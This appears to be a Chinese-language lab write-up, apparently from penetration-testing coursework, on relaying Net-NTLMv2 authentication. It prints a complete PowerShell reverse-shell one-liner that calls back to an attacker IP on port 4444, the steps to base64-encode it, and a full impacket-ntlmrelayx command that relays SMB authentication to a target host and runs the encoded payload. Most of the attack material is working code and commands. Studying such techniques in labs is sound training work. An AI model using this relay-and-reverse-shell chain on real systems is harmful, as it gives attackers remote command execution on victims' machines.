中繼(Relaying) Net-NTLMv2

- 9月 20, 2023

中繼(Relaying) Net-NTLMv2

靶機群組 #1 : 192.168.197.211、#2 : 192.168.197.212，已知帳號 files02admin

攻擊機 IP : 192.168.45.228

Relaying 中繼的意思就是收到後轉發到攻擊目標所以稱為 relay

還記得前面學過得先將 powershell 建立 reverse shell 的指令做出來如下

在 kali 開啟 powershell 編輯器 --> 輸入 pwsh

將整個 one-liner 轉成變數 $Text，如下的 PowerShell one-liner

要連到本機(192.168.45.228)建立的 4444 Port Listen

PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.228",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

將 $Text 先做 Encoding 轉成 $Bytes

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

再轉 Base64

$EncodedText =[Convert]::ToBase64String($Bytes)

輸出 Encoding Base64 的碼

$EncodedText

輸出結果如下

接著我們要在攻擊主機啟動 impacket-ntlmrelayx，整個指令如下

啟動 impacket-ntlmrelayx 使用參數

--no-http-server : 停用 HTTP 伺服器，因為我們要 Relay SMB 連接

-smb2support : 新增對 SMB2 協定的支援

-t : Relay 目標設定為 FILES02 192.168.197.212

-c : 設定要執行的命令，就是我們上面 PowerShell 包成 base64 編碼的指令

└─PS> impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.197.212 -c "powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="